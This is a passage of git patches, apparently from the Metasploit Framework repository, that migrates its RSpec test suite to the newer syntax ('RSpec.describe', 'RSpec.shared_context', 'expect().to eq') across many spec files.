'rex/proto/rmi' -describe Rex::Proto::Rmi::Model::Continuation do +RSpec.describe Rex::Proto::Rmi::Model::Continuation do subject(:continuation) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb index 45163f172e..fbf0115b3e 100644 --- a/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb +++ b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'stringio' require 'rex/proto/rmi' -describe Rex::Proto::Rmi::Model::DgcAck do +RSpec.describe Rex::Proto::Rmi::Model::DgcAck do subject(:dgc_ack) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/output_header_spec.rb b/spec/lib/rex/proto/rmi/model/output_header_spec.rb index f130f5d9fb..f00a6e3a1d 100644 --- a/spec/lib/rex/proto/rmi/model/output_header_spec.rb +++ b/spec/lib/rex/proto/rmi/model/output_header_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'stringio' require 'rex/proto/rmi' -describe Rex::Proto::Rmi::Model::OutputHeader do +RSpec.describe Rex::Proto::Rmi::Model::OutputHeader do subject(:output_header) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb b/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb index 60223f039c..80ba8e80a5 100644 --- a/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb +++ b/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'stringio' require 'rex/proto/rmi' -describe Rex::Proto::Rmi::Model::PingAck do +RSpec.describe Rex::Proto::Rmi::Model::PingAck do subject(:ping_ack) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/ping_spec.rb b/spec/lib/rex/proto/rmi/model/ping_spec.rb index 732bc61d78..62ee1c5aed 100644 --- a/spec/lib/rex/proto/rmi/model/ping_spec.rb +++ b/spec/lib/rex/proto/rmi/model/ping_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'stringio' require 'rex/proto/rmi' -describe Rex::Proto::Rmi::Model::Ping do +RSpec.describe Rex::Proto::Rmi::Model::Ping do subject(:ping) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb b/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb index 7451d0c4a3..a1c244e087 100644 --- a/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb +++ b/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'stringio' require 'rex/proto/rmi' -describe Rex::Proto::Rmi::Model::ProtocolAck do +RSpec.describe Rex::Proto::Rmi::Model::ProtocolAck do subject(:protocol_ack) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/return_data_spec.rb b/spec/lib/rex/proto/rmi/model/return_data_spec.rb index d275eb9c27..9c2b4e0491 100644 --- a/spec/lib/rex/proto/rmi/model/return_data_spec.rb +++ b/spec/lib/rex/proto/rmi/model/return_data_spec.rb @@ -5,7 +5,7 @@ require 'stringio' require 'rex/proto/rmi' require 'rex/java' -describe Rex::Proto::Rmi::Model::ReturnData do +RSpec.describe Rex::Proto::Rmi::Model::ReturnData do subject(:return_data) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/return_value_spec.rb b/spec/lib/rex/proto/rmi/model/return_value_spec.rb index 371ca04e71..29c54bf89d 100644 --- a/spec/lib/rex/proto/rmi/model/return_value_spec.rb +++ b/spec/lib/rex/proto/rmi/model/return_value_spec.rb @@ -5,7 +5,7 @@ require 'stringio' require 'rex/proto/rmi' require 'rex/java' -describe Rex::Proto::Rmi::Model::ReturnValue do +RSpec.describe Rex::Proto::Rmi::Model::ReturnValue do subject(:return_value) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb b/spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb index 6c4bd67403..21f3252d45 100644 --- a/spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb +++ b/spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb @@ -5,7 +5,7 @@ require 'stringio' require 'rex/proto/rmi' require 'rex/java' -describe Rex::Proto::Rmi::Model::UniqueIdentifier do +RSpec.describe Rex::Proto::Rmi::Model::UniqueIdentifier do subject(:uid) do described_class.new diff --git a/spec/lib/rex/proto/sip/response_spec.rb b/spec/lib/rex/proto/sip/response_spec.rb index 2f9715bd93..df76b2052c 100644 --- a/spec/lib/rex/proto/sip/response_spec.rb +++ b/spec/lib/rex/proto/sip/response_spec.rb @@ -2,7 +2,7 @@ require 'rex/proto/sip/response' -describe 'Rex::Proto::SIP::Response parsing' do +RSpec.describe 'Rex::Proto::SIP::Response parsing' do describe 'Parses vaild responses correctly' do specify do resp = 'SIP/1.0 123 Sure, OK' diff --git a/spec/lib/rex/proto/steam/message_spec.rb b/spec/lib/rex/proto/steam/message_spec.rb index 1682dad924..83bf29f146 100644 --- a/spec/lib/rex/proto/steam/message_spec.rb +++ b/spec/lib/rex/proto/steam/message_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/proto/steam/message' -describe Rex::Proto::Steam do +RSpec.describe Rex::Proto::Steam do subject(:steam) do mod = Module.new mod.extend described_class diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index 4a793425bb..5520aacd67 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'rex/random_identifier_generator' -describe Rex::RandomIdentifierGenerator do +RSpec.describe Rex::RandomIdentifierGenerator do let(:options) do { :min_length => 10, :max_length => 20 } end diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index 74eb15c685..bc53fbecbb 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -1,7 +1,7 @@ # -*- coding:binary -*- require 'rex/socket/range_walker' -describe Rex::Socket::RangeWalker do +RSpec.describe Rex::Socket::RangeWalker do let(:args) { "::1" } subject(:walker) { described_class.new(args) } diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index 1aa6690da0..539915c533 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -2,7 +2,7 @@ require 'rex/socket/range_walker' require 'spec_helper' -describe Rex::Socket do +RSpec.describe Rex::Socket do describe '.addr_itoa' do diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index e2d66d4ce4..fbfb4e006e 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -1,7 +1,7 @@ # -*- coding:binary -*- require 'rex/sslscan/result' -describe Rex::SSLScan::Result do +RSpec.describe Rex::SSLScan::Result do subject{Rex::SSLScan::Result.new} diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 362674a8bf..654e9236c8 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -4,7 +4,7 @@ require 'rex/thread_factory' require 'rex/text' require 'rex/compat' -describe Rex::SSLScan::Scanner do +RSpec.describe Rex::SSLScan::Scanner do subject{Rex::SSLScan::Scanner.new("google.com", 443)} diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index 364b211fd9..e335ff6741 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'rex/text' -describe Rex::Text do +RSpec.describe Rex::Text do context "Class methods" do context ".to_ebcdic" do diff --git a/spec/lib/rex/time_spec.rb b/spec/lib/rex/time_spec.rb index db8b0a9288..baed591271 100644 --- a/spec/lib/rex/time_spec.rb +++ b/spec/lib/rex/time_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/time' -describe Rex::ExtTime do +RSpec.describe Rex::ExtTime do let(:conversions) do { diff --git a/spec/models/metasploit/credential/core_spec.rb b/spec/models/metasploit/credential/core_spec.rb index fa70d2371a..80d36442a3 100644 --- a/spec/models/metasploit/credential/core_spec.rb +++ b/spec/models/metasploit/credential/core_spec.rb @@ -1,5 +1,5 @@ require 'spec_helper' -describe Metasploit::Credential::Core do +RSpec.describe Metasploit::Credential::Core do it_should_behave_like 'Metasploit::Credential::Core::ToCredential' end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index e8a6622bb0..036cfcc8b3 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe 'modules/payloads', :content do +RSpec.describe 'modules/payloads', :content do modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules') include_context 'untested payloads', modules_pathname: modules_pathname diff --git a/spec/modules_spec.rb b/spec/modules_spec.rb index 9a6577c5de..e9331cabaf 100644 --- a/spec/modules_spec.rb +++ b/spec/modules_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe 'modules', :content do +RSpec.describe 'modules', :content do modules_pathname = Pathname.new(__FILE__).parent.parent.join('modules') it_should_behave_like 'all modules with module type can be instantiated', diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index 304de16aa0..5cb7ad4878 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' load Metasploit::Framework.root.join('msfupdate').to_path -describe Msfupdate do +RSpec.describe Msfupdate do def dummy_pathname Pathname.new(File.dirname(__FILE__)).join('dummy') diff --git a/spec/tools/cpassword_decrypt_spec.rb b/spec/tools/cpassword_decrypt_spec.rb index 8a1e3aa878..21d2cd12da 100644 --- a/spec/tools/cpassword_decrypt_spec.rb +++ b/spec/tools/cpassword_decrypt_spec.rb @@ -5,7 +5,7 @@ load Metasploit::Framework.root.join('tools/password/cpassword_decrypt.rb').to_p require 'msfenv' require 'msf/base' -describe CPassword do +RSpec.describe CPassword do context "Class methods" do let(:cpasswd) do CPassword.new diff --git a/spec/tools/egghunter_spec.rb b/spec/tools/egghunter_spec.rb index c969da7cce..9c6de9aafd 100644 --- a/spec/tools/egghunter_spec.rb +++ b/spec/tools/egghunter_spec.rb @@ -2,7 +2,7 @@ load Metasploit::Framework.root.join('tools/exploit/egghunter.rb').to_path require 'stringio' -describe Egghunter do +RSpec.describe Egghunter do describe Egghunter::Driver do diff --git a/spec/tools/java_deserializer_spec.rb b/spec/tools/java_deserializer_spec.rb index 24815f945f..25782cbca9 100644 --- a/spec/tools/java_deserializer_spec.rb +++ b/spec/tools/java_deserializer_spec.rb @@ -3,7 +3,7 @@ require 'stringio' load Metasploit::Framework.root.join('tools/exploit/java_deserializer.rb').to_path -describe JavaDeserializer do +RSpec.describe JavaDeserializer do before(:all) do @out = $stdout diff --git a/spec/tools/jsobfu_spec.rb b/spec/tools/jsobfu_spec.rb index 63af210d15..5a3aa82cbb 100644 --- a/spec/tools/jsobfu_spec.rb +++ b/spec/tools/jsobfu_spec.rb @@ -4,7 +4,7 @@ load Metasploit::Framework.root.join('tools/exploit/jsobfu.rb').to_path require 'stringio' -describe Jsobfu do +RSpec.describe Jsobfu do let(:fname) { 'test.js' diff --git a/spec/tools/md5_lookup_spec.rb b/spec/tools/md5_lookup_spec.rb index 50a043db16..877664009c 100644 --- a/spec/tools/md5_lookup_spec.rb +++ b/spec/tools/md5_lookup_spec.rb @@ -3,7 +3,7 @@ load Metasploit::Framework.root.join('tools/password/md5_lookup.rb').to_path require 'rex/proto/http/response' require 'stringio' -describe Md5LookupUtility do +RSpec.describe Md5LookupUtility do # # Init some data diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index c14a54483d..da382cacd9 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -3,7 +3,7 @@ load Metasploit::Framework.root.join('tools/exploit/msu_finder.rb').to_path require 'nokogiri' require 'uri' -describe MicrosoftPatchFinder do +RSpec.describe MicrosoftPatchFinder do before(:each) do cli = Rex::Proto::Http::Client.new('127.0.0.1') diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb index 60bf2b0190..ce7deaa2be 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -6,7 +6,7 @@ require 'msfenv' require 'msf/base' require 'digest/sha2' -describe VirusTotalUtility do +RSpec.describe VirusTotalUtility do context "Classes" do let(:api_key) do From 2b02b9e081b1def6310a1689e7dd301abc310896 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Fri, 16 Oct 2015 15:59:34 -0500 Subject: [PATCH 012/103] shared_examples -> RSpec.shared_examples MSP-13484 --- spec/lib/msf/core/data_store_spec.rb | 2 +- spec/lib/rex/proto/http/client_request_spec.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/core/data_store_spec.rb b/spec/lib/msf/core/data_store_spec.rb index fad47dffdc..e21c729841 100644 --- a/spec/lib/msf/core/data_store_spec.rb +++ b/spec/lib/msf/core/data_store_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/data_store' -shared_examples "datastore" do +RSpec.shared_examples "datastore" do it "should have options" do subject["foo"].should == "bar" subject["fizz"].should == "buzz" diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index a6b1a41e03..957b33439b 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -72,7 +72,7 @@ shared_context "with 'uri_full_url'" do end -shared_examples "uri_full_url" do +RSpec.shared_examples "uri_full_url" do it "#set_uri should have the host in the URI" do client_request.send(:set_uri).should start_with("http://#{host}/") From fc9ca84da57c1a150b64f58b1d083ad8e19a04da Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 09:54:02 -0500 Subject: [PATCH 013/103] shared_context -> RSpec.shared_context MSP-13484 shared_context must be qualified as global patching is disabled in spec_helper. --- spec/lib/rex/proto/http/client_request_spec.rb | 8 ++++---- .../metasploit/framework/spec/constants/cleaner.rb | 2 +- spec/support/shared/contexts/msf/db_manager.rb | 2 +- .../shared/contexts/msf/framework/threads/cleaner.rb | 2 +- .../shared/contexts/msf/modules/error_attributes.rb | 2 +- spec/support/shared/contexts/msf/modules/loader_base.rb | 2 +- spec/support/shared/contexts/msf/simple/framework.rb | 2 +- .../contexts/msf/simple/framework/modules/loading.rb | 2 +- spec/support/shared/contexts/msf/ui_driver.rb | 2 +- spec/support/shared/contexts/untested_payloads.rb | 2 +- 10 files changed, 13 insertions(+), 13 deletions(-) diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 957b33439b..3b55f12249 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/http/client_request' -shared_context "with no evasions" do +RSpec.shared_context "with no evasions" do before(:each) do client_request.opts['uri_dir_self_reference'] = false client_request.opts['uri_fake_params_start'] = false @@ -17,7 +17,7 @@ shared_context "with no evasions" do end -shared_context "with 'uri_dir_self_reference'" do +RSpec.shared_context "with 'uri_dir_self_reference'" do before(:each) do client_request.opts['uri_dir_self_reference'] = true end @@ -29,7 +29,7 @@ shared_context "with 'uri_dir_self_reference'" do end -shared_context "with 'uri_dir_fake_relative'" do +RSpec.shared_context "with 'uri_dir_fake_relative'" do before(:each) do client_request.opts['uri_dir_fake_relative'] = true end @@ -42,7 +42,7 @@ shared_context "with 'uri_dir_fake_relative'" do end -shared_context "with 'uri_full_url'" do +RSpec.shared_context "with 'uri_full_url'" do before(:each) do client_request.opts['uri_full_url'] = true diff --git a/spec/support/shared/contexts/metasploit/framework/spec/constants/cleaner.rb b/spec/support/shared/contexts/metasploit/framework/spec/constants/cleaner.rb index 44fcd529ac..d06873a092 100644 --- a/spec/support/shared/contexts/metasploit/framework/spec/constants/cleaner.rb +++ b/spec/support/shared/contexts/metasploit/framework/spec/constants/cleaner.rb @@ -1,5 +1,5 @@ # Use in a context to clean up the constants that are created by the module loader. -shared_context 'Metasploit::Framework::Spec::Constants cleaner' do +RSpec.shared_context 'Metasploit::Framework::Spec::Constants cleaner' do after(:each) do Metasploit::Framework::Spec::Constants.clean end diff --git a/spec/support/shared/contexts/msf/db_manager.rb b/spec/support/shared/contexts/msf/db_manager.rb index 6ff47e269c..5eec254273 100644 --- a/spec/support/shared/contexts/msf/db_manager.rb +++ b/spec/support/shared/contexts/msf/db_manager.rb @@ -1,4 +1,4 @@ -shared_context 'Msf::DBManager' do +RSpec.shared_context 'Msf::DBManager' do include_context 'Msf::Simple::Framework' let(:active) do diff --git a/spec/support/shared/contexts/msf/framework/threads/cleaner.rb b/spec/support/shared/contexts/msf/framework/threads/cleaner.rb index 3b851e8cbb..0bc9f657eb 100644 --- a/spec/support/shared/contexts/msf/framework/threads/cleaner.rb +++ b/spec/support/shared/contexts/msf/framework/threads/cleaner.rb @@ -1,4 +1,4 @@ -shared_context 'Msf::Framework#threads cleaner' do +RSpec.shared_context 'Msf::Framework#threads cleaner' do after(:each) do |example| unless framework.threads? fail RuntimeError.new( diff --git a/spec/support/shared/contexts/msf/modules/error_attributes.rb b/spec/support/shared/contexts/msf/modules/error_attributes.rb index 1d7c7474ea..924840b35e 100644 --- a/spec/support/shared/contexts/msf/modules/error_attributes.rb +++ b/spec/support/shared/contexts/msf/modules/error_attributes.rb @@ -1,5 +1,5 @@ # -*- coding:binary -*- -shared_context 'Msf::Modules::Error attributes' do +RSpec.shared_context 'Msf::Modules::Error attributes' do let(:causal_message) do 'rspec' end diff --git a/spec/support/shared/contexts/msf/modules/loader_base.rb b/spec/support/shared/contexts/msf/modules/loader_base.rb index 49bea73bc9..c0bd43e8b2 100644 --- a/spec/support/shared/contexts/msf/modules/loader_base.rb +++ b/spec/support/shared/contexts/msf/modules/loader_base.rb @@ -1,5 +1,5 @@ # -*- coding:binary -*- -shared_context "Msf::Modules::Loader::Base" do +RSpec.shared_context "Msf::Modules::Loader::Base" do let(:parent_path) do parent_pathname.to_s end diff --git a/spec/support/shared/contexts/msf/simple/framework.rb b/spec/support/shared/contexts/msf/simple/framework.rb index b3cc6bace4..ae55026049 100644 --- a/spec/support/shared/contexts/msf/simple/framework.rb +++ b/spec/support/shared/contexts/msf/simple/framework.rb @@ -2,7 +2,7 @@ require 'msf/base/simple/framework' require 'metasploit/framework' -shared_context 'Msf::Simple::Framework' do +RSpec.shared_context 'Msf::Simple::Framework' do let(:dummy_pathname) do Rails.root.join('spec', 'dummy') end diff --git a/spec/support/shared/contexts/msf/simple/framework/modules/loading.rb b/spec/support/shared/contexts/msf/simple/framework/modules/loading.rb index 1a92bbfa6e..9fa4a35e12 100644 --- a/spec/support/shared/contexts/msf/simple/framework/modules/loading.rb +++ b/spec/support/shared/contexts/msf/simple/framework/modules/loading.rb @@ -24,7 +24,7 @@ # ) # } # -shared_context 'Msf::Simple::Framework#modules loading' do +RSpec.shared_context 'Msf::Simple::Framework#modules loading' do include_context 'Metasploit::Framework::Spec::Constants cleaner' include_context 'Msf::Simple::Framework' diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index 2d64576574..5e9e67b25b 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -1,4 +1,4 @@ -shared_context 'Msf::UIDriver' do +RSpec.shared_context 'Msf::UIDriver' do let(:driver) do double( 'Driver', diff --git a/spec/support/shared/contexts/untested_payloads.rb b/spec/support/shared/contexts/untested_payloads.rb index 8a7f8b2e13..76cdf43f81 100644 --- a/spec/support/shared/contexts/untested_payloads.rb +++ b/spec/support/shared/contexts/untested_payloads.rb @@ -36,7 +36,7 @@ # @param options [Hash{Symbol => Pathname}] # @option options [Pathname] :modules_pathname Pathname of `modules` directory underwhich payloads are defined on the # file system. -shared_context 'untested payloads' do |options={}| +RSpec.shared_context 'untested payloads' do |options={}| options.assert_valid_keys(:modules_pathname) modules_pathname = options.fetch(:modules_pathname) From 3fff6cabce3aae1ac2812503cdb357ede06af2ba Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 10:29:23 -0500 Subject: [PATCH 014/103] should_not == -> expect().not_to eq MSP-13484 --- .../abstract_adapter/connection_pool_spec.rb | 2 +- spec/lib/msf/core/exploit/http/client_spec.rb | 6 +++--- spec/lib/msf/core/modules/loader/base_spec.rb | 12 ++++++------ spec/lib/rex/sslscan/result_spec.rb | 4 ++-- .../shared/examples/msf/db_manager/session.rb | 4 ++-- .../shared/examples/msf/module_manager/loading.rb | 2 +- 6 files changed, 15 insertions(+), 15 deletions(-) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index b9be0ab0dc..c1466fe210 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -50,7 +50,7 @@ RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do context 'in thread without connection' do it 'should be false' do thread = Thread.new do - Thread.current.should_not == main_thread + expect(Thread.current).not_to eq main_thread expect(active_connection?).to be_falsey end diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 69aed1354c..6aa474a50b 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -139,7 +139,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should not have a trailing '/'" do - unnormalized_uri[-1, 1].should_not == '/' + expect(unnormalized_uri[-1, 1]).not_to eq '/' end it "should return original string" do @@ -190,7 +190,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should not have trailing '/'" do - unnormalized_uri[-1, 1].should_not == '/' + expect(unnormalized_uri[-1, 1]).not_to eq '/' end it "should add starting '/'" do @@ -198,7 +198,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should add trailing '/'" do - normalized_uri[-1, 1].should_not == '/' + expect(normalized_uri[-1, 1]).not_to eq '/' end end end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 7eaf935d69..e8833dfa6d 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -853,7 +853,7 @@ RSpec.describe Msf::Modules::Loader::Base do non_module_extension = '.c' path = "path/with/wrong/extension#{non_module_extension}" - non_module_extension.should_not == described_class::MODULE_EXTENSION + expect(non_module_extension).not_to eq described_class::MODULE_EXTENSION subject.send(:module_path?, path).should be_falsey end @@ -968,7 +968,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should create a new namespace module for the block' do subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - namespace_module.should_not == @existent_namespace_module + expect(namespace_module).not_to eq @existent_namespace_module expect { namespace_module::Metasploit3 @@ -995,7 +995,7 @@ RSpec.describe Msf::Modules::Loader::Base do current_constant = Msf::Modules.const_get(relative_name) current_constant.should == namespace_module - current_constant.should_not == @existent_namespace_module + expect(current_constant).not_to eq @existent_namespace_module raise error_class, error_message end @@ -1022,7 +1022,7 @@ RSpec.describe Msf::Modules::Loader::Base do current_constant = Msf::Modules.const_get(relative_name) current_constant.should == namespace_module - current_constant.should_not == @existent_namespace_module + expect(current_constant).not_to eq @existent_namespace_module false end @@ -1048,7 +1048,7 @@ RSpec.describe Msf::Modules::Loader::Base do current_constant = Msf::Modules.const_get(relative_name) current_constant.should_not be_nil - current_constant.should_not == @existent_namespace_module + expect(current_constant).not_to eq @existent_namespace_module end it 'should return true' do @@ -1292,7 +1292,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should restore the module to the constant' do - parent_module.const_get(relative_name).should_not == @original_namespace_module + expect(parent_module.const_get(relative_name)).not_to eq @original_namespace_module subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index fbfb4e006e..f1ce3f7142 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -302,7 +302,7 @@ RSpec.describe Rex::SSLScan::Result do it "should return only the ciphers for the specified version" do subject.each_accepted([:SSLv3,:TLSv1]) do |cipher_details| - cipher_details[:version].should_not == :SSLv2 + expect(cipher_details[:version]).not_to eq :SSLv2 end end end @@ -358,7 +358,7 @@ RSpec.describe Rex::SSLScan::Result do it "should return only the ciphers for the specified version" do subject.each_rejected([:SSLv3,:TLSv1]) do |cipher_details| - cipher_details[:version].should_not == :SSLv2 + expect(cipher_details[:version]).not_to eq :SSLv2 end end end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index d2192db96f..ebaef13d92 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -471,7 +471,7 @@ shared_examples_for 'Msf::DBManager::Session' do end it "should not have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should_not == 'exploit/multi/handler' + expect(session.via_exploit).not_to eq 'exploit/multi/handler' end it { expect(subject.via_exploit).to eq(session.via_exploit) } @@ -814,7 +814,7 @@ shared_examples_for 'Msf::DBManager::Session' do end it "should not have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should_not == 'exploit/multi/handler' + expect(session.via_exploit).not_to eq 'exploit/multi/handler' end it { expect(subject.via_exploit).to eq(session.via_exploit) } diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index 7c492100ed..4fc1486318 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -55,7 +55,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do :modification_time => cached_modification_time } - cached_modification_time.should_not == modification_time + expect(cached_modification_time).not_to eq modification_time subject.file_changed?(module_path).should be_truthy end end From 6f29e9a4cf730641e9efd8d692302f826fcd585f Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 11:30:38 -0500 Subject: [PATCH 015/103] .should == -> expect().to eq MSP-13484 --- .../abstract_adapter/connection_pool_spec.rb | 8 +- .../framework/jtr/invalid_wordlist_spec.rb | 2 +- .../framework/login_scanner/invalid_spec.rb | 2 +- spec/lib/msf/core/data_store_spec.rb | 26 ++-- .../lib/msf/core/exe/segment_appender_spec.rb | 20 +-- .../lib/msf/core/exe/segment_injector_spec.rb | 20 +-- spec/lib/msf/core/exploit/capture_spec.rb | 12 +- spec/lib/msf/core/exploit/http/client_spec.rb | 42 +++--- spec/lib/msf/core/framework_spec.rb | 18 +-- spec/lib/msf/core/modules/error_spec.rb | 18 +-- spec/lib/msf/core/modules/loader/base_spec.rb | 76 +++++------ .../msf/core/modules/loader/directory_spec.rb | 6 +- spec/lib/msf/core/modules/namespace_spec.rb | 2 +- .../version_compatibility_error_spec.rb | 4 +- spec/lib/msf/core/opt_address_range_spec.rb | 6 +- spec/lib/msf/core/opt_enum_spec.rb | 4 +- spec/lib/msf/core/option_container_spec.rb | 2 +- spec/lib/msf/core/post/windows/priv_spec.rb | 4 +- spec/lib/msf/db_manager/export_spec.rb | 4 +- spec/lib/rex/parser/nmap_xml_spec.rb | 6 +- .../post/meterpreter/packet_parser_spec.rb | 10 +- spec/lib/rex/post/meterpreter/packet_spec.rb | 126 +++++++++--------- .../lib/rex/proto/http/client_request_spec.rb | 10 +- spec/lib/rex/proto/http/client_spec.rb | 18 +-- spec/lib/rex/proto/http/packet_spec.rb | 16 +-- spec/lib/rex/proto/ntp/modes_spec.rb | 12 +- .../rex/random_identifier_generator_spec.rb | 16 +-- spec/lib/rex/socket/range_walker_spec.rb | 44 +++--- spec/lib/rex/socket_spec.rb | 26 ++-- spec/lib/rex/sslscan/result_spec.rb | 94 ++++++------- spec/lib/rex/sslscan/scanner_spec.rb | 20 +-- spec/msfupdate_spec.rb | 18 +-- spec/support/shared/examples/an_option.rb | 8 +- .../examples/hash_with_insensitive_access.rb | 20 +-- ..._module_detail_info_module_detail_child.rb | 2 +- .../import/metasploit_framework/xml.rb | 54 ++++---- .../check_msf_xml_version_with_root_tag.rb | 2 +- .../examples/msf/db_manager/migration.rb | 6 +- .../examples/msf/db_manager/module_cache.rb | 10 +- .../mdm_module_ref_name_keyword.rb | 2 +- .../shared/examples/msf/db_manager/session.rb | 8 +- .../update_all_module_details_refresh.rb | 4 +- .../update_module_details_with_module_type.rb | 2 +- .../examples/msf/module_manager/cache.rb | 10 +- .../examples/msf/module_manager/loading.rb | 2 +- .../msf/modules/error_subclass_initialize.rb | 4 +- spec/support/shared/examples/typed_path.rb | 2 +- 47 files changed, 414 insertions(+), 414 deletions(-) diff --git 